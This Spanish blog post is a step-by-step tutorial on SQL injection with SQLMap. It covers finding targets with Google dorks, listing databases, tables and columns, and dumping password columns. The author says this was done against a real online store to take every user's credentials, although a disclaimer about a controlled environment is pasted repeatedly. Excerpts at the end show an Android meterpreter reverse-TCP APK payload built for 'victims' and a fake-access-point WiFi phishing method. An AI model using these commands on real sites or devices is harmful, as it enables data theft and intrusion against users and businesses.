Ir al contenido principal

Kali Linux - II Inyección SQL con SQLMap

Según Wikipedia Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos...

La inyección SQL esta en la cima de el delito en la red, por el valor de las bases de datos que están en la red (empresas,tiendas,banca online...) ahí se almacenan todo tipo de credenciales, desde nombres de usuario hasta números bancarios. Como sabréis, las inyecciones SQL en algunos casos se pueden realizar desde el propio navegador, inyectando caracteres en una consulta desde la pagina web hasta la base de datos,  que generen un tipo de error, esa sera la parte del código SQL vulnerable, es decir inyectaremos código SQL intruso contra ese parámetro "mal configurado" .

ESTA PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO, RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO, RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO, RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS  - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO, RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS  - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO, RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS  - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO, RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS  - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
STA PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO, RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS  - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf icho esto, manos a la obra, comenzamos arrancando la maquina con Kali Linux instalado, recordar que SQLMap está disponible para otros sistemas y distribuciones.
Antes de comenzar, buscaremos una pagina vulnerable, podemos usar dorks de google tipo :  inurl=.php?id=   o hacerlo manualmente, Ejemplo:
http://www.prueba.com/tienda.php?id=abc

La linea de arriba es la consulta normal, abajo inyectamos una comilla para poder ver si es vulnerable.
http://www.prueba.com/tienda.php?id='

En caso de ser vulnerable debería mostrar por pantalla un error. Una vez tengamos la pagina vulnerable arrancamos SQLMap, la herramienta SQLMap la podéis encontrar en Aplicaciones - Análisis de vulnerabilidades - valuación de bases de datos - sqlmap, en esta "guia" utilizaremos parámetros básicos ya que SQLmap ofrece muchas posibilidades, desde evadir IDS/Firewall a utilizar la red tor como escudo. Ahora arrancamos la aplicación e introducimos la siguiente linea.

sqlmap -u "http://www.prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" --dbs --dbms=mysql

con esta orden, inyectaremos consultas SQL en el parámetro idNoticia, el cual sabíamos que era vulnerable, el --dbs es para visualizar las bases de datos, el --dbms es para seleccionar el tipo de motor de consultas y colocamos =mysql. Una vez ejecutado, nos mostrara las bases de datos disponibles, como podéis observar inyecto el código en el parámetro idNoticia, el cual sabíamos que era vulnerable .

Ahora que podemos ver las bases de datos, vamos a buscar las tablas que puedan ser de interés,

sqlmap -u "http://www.prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" -D baseDatos --tables

Al introducir la linea anterior observamos que nos muestra las tablas dentro de la base de datos seleccionada, por motivos obvios la url del post no es la utilizada realmente en la practica, ya que la practica real fue realizada contra una tienda online.

En la siguiente linea, vamos a ver que contienen las tablas que nos interesen, es decir, ver las columnas que contiene cada tabla

sqlmap -u "http://www.prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" -D baseDatos -T usuarios --columns

Observamos listado de columnas, podemos ver que contiene usuarios, contraseñas , teléfonos y demás datos sensibles, ahora solo queda visualizar la columna deseada, para ello seleccionamos las columnas con -C y finalizamos con --dump.

sqlmap -u "http:/prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" -D baseDatos -T usuarios -C passwd,tipoUsuaria  --dump

Ahora nos mostrará las columnas que escogimos anteriormente, es decir las contraseñas y los tipos de usuario, con esto pretendía obtener los accesos de administrador y contraseña de la pagina web.
Ya tenemos las credenciales de todos los usuarios registrados en la tienda, tanto del administrador como de los usuarios normales.

A partir de aquí, todo depende de hasta donde queráis llegar, como siempre recomiendo realizarlo en entornos controlados, ya que una practica de este tipo os puede llevar a incurrir en un delito.

Entradas populares de este blog

Kali Linux - I Reverse TCP Android LVL0 con Metasploit & SET

Como ya sabéis, metasploit es la herramienta de explotación de vulnerabilidades por excelencia, en esta ocasión vamos a "atacar" dispositivos móviles personales con sistema Android. El escenario es el siguiente, el equipo atacante (Kali Linux), un servidor FTP para que nuestras victimas puedan descargar fácilmente la App y las victimas (terminales Android). Comencemos! es esencial tener instalado metasploit, en mi caso la distribución Kali linux lo trae integrado, así que procedemos, empezamos con el payload. Crear el payload es muy sencillo, basta con  introducir esta linea en una terminal. msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=8888 R> fiestasbilbao.apk Esto indica lo siguiente, la App lleva la instrucción de iniciar una sesión meterpreter contra 192.168.1.11 por el puerto 8888, la R indica que la salida es en formato .apk, escogemos el nombre e introducimos la orden, tardará un poco, una vez finalice podremos observar nu

Wifislax 4.9 - II Conseguir acceso a redes WPA/WPA2-PSK con Linset

Buenas a todos ! esta es la segunda entrada de Wifislax, conseguir acceso a redes WPA/WPA2-PSK con una herramienta incluida en nuestra distribución para auditar redes inalámbricas: LINSET. LINSET es un script con  un objetivo claro, conseguir acceso a redes sin necesidad de diccionarios ni fuerza bruta, es un tipo de "ingeniería social" su funcionamiento es el siguiente. 1. Escanea la red. 2. Selecciona la red. 3. Busca handshake (se puede usar sin handshake) 4. Se elige una de las varias interfaces web en diferentes idiomas 5. Se monta un AP Falso imitando al original 6. Se crea un servidor DHCP sobre el AP Falso 7. Se crea un servidor DNS para redirigir todas las peticiones al Host (Equipo Atacante) 8. Se lanza el servidor web con la interfaz seleccionada (Idioma escogido en el punto 4) 9. Se lanza el mecanismo para comprobar la validez de las contraseñas que se van a introducir 10. Se desautentifica a todos los usarios de la red, esperando que se conec

Wifislax 4.9 - I Conseguir acceso a redes WiFi protegidas con WPA/WPA2-PSK AirCrack

En esta practica se ha usado la ultima versión de Wifislax la 4.9  la podéis descargar AQUÍ  , también han sido necesarios un pendrive para acceder al live CD y una Antena Alfa Network AWUS036H Para los que empezáis de cero, necesitaremos una ISO de WIfislax  un dispositivo de almacenamiento USB y ganas de probar la seguridad de nuestra red WiFi...  Comenzamos!  creamos desde un sistema Windows el live CD de Wifislax con Yumi. Ejecutamos Yumi y seleccionamos la distribución o sistema para hacerla booteable desde el pendrive, acto seguido selecionamos la ISO de Wifislax y le damos a crear, podemos escoger los parámetros, como formatear el pendrive antes de crear el arranque y demás. Para arrancar desde el un dispositivo de almacenamiento USB es necesario que nuestra placa base soporte el arranque desde USB, en mi caso con habilitarlo desde la bios y pulsar F12 en el arranque ya me permite bootear un sistema de almacenamiento USB,al arrancar el pendrive nos aparecerá el menú